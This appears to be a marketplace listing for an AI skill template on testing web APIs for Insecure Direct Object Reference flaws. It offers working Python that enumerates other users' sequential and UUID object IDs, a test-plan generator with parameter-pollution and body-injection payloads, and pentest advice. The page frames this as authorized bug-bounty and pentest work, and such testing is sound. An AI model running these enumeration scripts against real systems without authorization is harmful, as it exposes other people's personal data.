P

Pro Idor Testing

Battle-tested skill for skill, should, used, user. Includes structured workflows, validation checks, and reusable patterns for security.

SkillClipticssecurityv1.0.0MIT
0 views0 copies

Pro IDOR Testing

Identify and exploit Insecure Direct Object Reference (IDOR) vulnerabilities in web applications through systematic parameter manipulation and authorization testing. This skill covers object ID enumeration, horizontal and vertical privilege escalation via IDOR, API endpoint analysis, and bypass techniques for common IDOR protections.

When to Use This Skill

Choose Pro IDOR Testing when you need to:

  • Test whether users can access other users' data by manipulating object identifiers
  • Identify authorization flaws in REST and GraphQL APIs during bug bounty or pentest
  • Systematically enumerate predictable resource IDs (sequential, UUID patterns)
  • Test both horizontal (same-role) and vertical (cross-role) access control

Consider alternatives when:

  • You need to test authentication mechanisms (use Broken Authentication System)
  • You need automated API vulnerability scanning (use API Fuzzing)
  • You need to implement proper authorization (use API Security Best Practices)

Quick Start

import requests import json class IDORTester: """Test for Insecure Direct Object Reference vulnerabilities.""" def __init__(self, base_url): self.base_url = base_url.rstrip('/') self.findings = [] def test_sequential_ids(self, endpoint_template, auth_headers, own_id, test_range=20): """Test sequential ID access control.""" print(f"Testing IDOR on: {endpoint_template}") results = [] for test_id in range(max(1, own_id - test_range // 2), own_id + test_range // 2): if test_id == own_id: continue url = f"{self.base_url}{endpoint_template.replace('{id}', str(test_id))}" try: resp = requests.get(url, headers=auth_headers, timeout=10) if resp.status_code == 200: result = { 'id': test_id, 'status': resp.status_code, 'accessible': True, 'data_preview': resp.text[:200], } self.findings.append({ 'type': 'IDOR', 'endpoint': endpoint_template, 'accessed_id': test_id, 'severity': 'HIGH', }) results.append(result) print(f" [IDOR] ID {test_id}: accessible (200)") elif resp.status_code in (403, 401): results.append({'id': test_id, 'status': resp.status_code, 'accessible': False}) elif resp.status_code == 404: results.append({'id': test_id, 'status': 404, 'accessible': False}) except Exception as e: results.append({'id': test_id, 'error': str(e)}) accessible = [r for r in results if r.get('accessible')] print(f" Result: {len(accessible)}/{len(results)} IDs accessible") return results def test_uuid_swap(self, endpoint_template, auth_headers, own_uuid, other_uuids): """Test IDOR with UUID-based identifiers.""" results = [] for uuid in other_uuids: url = f"{self.base_url}{endpoint_template.replace('{id}', uuid)}" resp = requests.get(url, headers=auth_headers, timeout=10) accessible = resp.status_code == 200 if accessible: self.findings.append({ 'type': 'IDOR_UUID', 'endpoint': endpoint_template, 'severity': 'HIGH', }) results.append({'uuid': uuid, 'accessible': accessible, 'status': resp.status_code}) return results # tester = IDORTester("https://target.example.com") # tester.test_sequential_ids("/api/users/{id}/profile", # {"Authorization": "Bearer USER_TOKEN"}, own_id=42)

Core Concepts

IDOR Vulnerability Types

TypeDescriptionExample
Horizontal IDORAccess another user's data (same role)User A views User B's profile
Vertical IDORAccess higher-privilege resourcesUser accesses admin panel data
Object-levelDirect object ID manipulation/api/orders/123/api/orders/124
Function-levelAccess unauthorized functionsPOST /api/admin/delete-user as regular user
Field-levelAccess restricted fields on allowed objectsResponse includes ssn field for other users
File-levelAccess other users' uploaded files/uploads/user42/doc.pdf/uploads/user43/doc.pdf

Comprehensive IDOR Test Matrix

def generate_idor_test_plan(api_endpoints): """Generate systematic IDOR test matrix for API endpoints.""" tests = [] for endpoint in api_endpoints: # Test 1: ID manipulation if '{id}' in endpoint['path'] or any( p in endpoint['path'] for p in ['/users/', '/orders/', '/accounts/'] ): tests.append({ 'endpoint': endpoint['path'], 'method': endpoint['method'], 'test': 'sequential_id', 'description': 'Replace ID with other users\' IDs', 'payloads': ['id+1', 'id-1', '0', '1', '99999'], }) # Test 2: Parameter pollution tests.append({ 'endpoint': endpoint['path'], 'method': endpoint['method'], 'test': 'param_pollution', 'description': 'Add user_id/account_id parameter to request', 'payloads': ['?user_id=OTHER', '&account_id=OTHER'], }) # Test 3: HTTP method switching if endpoint['method'] == 'GET': tests.append({ 'endpoint': endpoint['path'], 'method': 'POST', 'test': 'method_switch', 'description': 'Try different HTTP methods', }) # Test 4: Body parameter injection if endpoint['method'] in ('POST', 'PUT', 'PATCH'): tests.append({ 'endpoint': endpoint['path'], 'method': endpoint['method'], 'test': 'body_injection', 'description': 'Add user_id field to request body', 'payloads': ['{"user_id": "OTHER_ID"}'], }) return tests # endpoints = [ # {'path': '/api/users/{id}/profile', 'method': 'GET'}, # {'path': '/api/orders/{id}', 'method': 'GET'}, # {'path': '/api/settings', 'method': 'PUT'}, # ] # test_plan = generate_idor_test_plan(endpoints)

Configuration

ParameterDescriptionDefault
target_urlBase URL of the target APIRequired
auth_tokenAuthentication token for test userRequired
own_user_idTest user's own resource IDRequired
other_user_idsKnown IDs of other test accounts[]
test_rangeRange of sequential IDs to test20
methodsHTTP methods to test["GET", "POST", "PUT", "DELETE"]
proxyProxy for request inspectionNone
delayDelay between requests (seconds)0.1

Best Practices

  1. Use two test accounts to confirm IDOR — Create two accounts (UserA and UserB) with known resource IDs. Use UserA's token to access UserB's resources and vice versa. This confirms true unauthorized access rather than false positives from error pages that return 200.

  2. Test all CRUD operations on each endpoint — An endpoint may correctly authorize GET requests but fail to check authorization on PUT, PATCH, or DELETE. Test every HTTP method that the endpoint supports, especially write operations which have higher impact.

  3. Check for IDOR in indirect references too — Beyond URL path parameters, check query parameters, request body fields, file paths, and headers (X-User-ID, X-Account-ID). Some applications accept user ID overrides in the request body even when the URL uses the authenticated user's ID.

  4. Test for IDOR in multi-step workflows — Some operations span multiple API calls (e.g., create order → add items → checkout). Test IDOR at each step — the application may validate ownership at step 1 but not at step 3, allowing manipulation of another user's order during checkout.

  5. Document the data exposed, not just the access — A finding that says "I can access another user's profile" is less impactful than "I can access another user's full name, email, phone number, and home address." List the specific sensitive fields returned to demonstrate the impact.

Common Issues

UUIDs make IDOR harder but not impossible — UUIDs are unguessable, but they may leak via API responses (user lists, search results, referral links), browser history, access logs, or other users' data. Collect UUIDs from all available sources before concluding IDOR is not exploitable.

Application returns 200 for all IDs but with empty/default data — Some APIs return a success response with empty data instead of 403/404. Compare the response content between your own ID and other IDs. If the data differs and contains another user's information, it's still IDOR even with a 200 status.

IDOR exists in read operations but write operations are protected — Report the read IDOR as a separate finding (data exposure). Test write operations independently — they may have different authorization logic. Even read-only IDOR can be High severity if it exposes sensitive PII.

Community

Reviews

Write a review

No reviews yet. Be the first to review this template!

Similar Templates